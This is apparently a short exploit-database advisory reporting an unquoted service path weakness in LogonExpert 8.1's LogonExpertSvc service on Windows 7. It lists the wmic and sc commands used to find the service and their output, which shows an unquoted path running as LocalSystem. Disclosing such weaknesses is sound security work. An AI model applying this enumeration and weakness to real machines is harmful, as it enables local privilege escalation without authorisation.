LogonExpert 8.1 - (LogonExpertSvc) Unquoted Service Path Vulnerability

# Exploit Title: LogonExpert 8.1 - 'LogonExpertSvc' Unquoted Service Path
# Discovery by: Victor Mondragón
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.logonexpert.com/LogonExpertSetup64.msi
# Tested Version: 8.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 Service Pack 1 x64
# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
LogonExpert Service             LogonExpertSvc          C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe             Auto


C:\>sc qc LogonExpertSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LogonExpertSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe
        LOAD_ORDER_GROUP   : LogonExpertGroup
        TAG                : 0
        DISPLAY_NAME       : LogonExpert Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem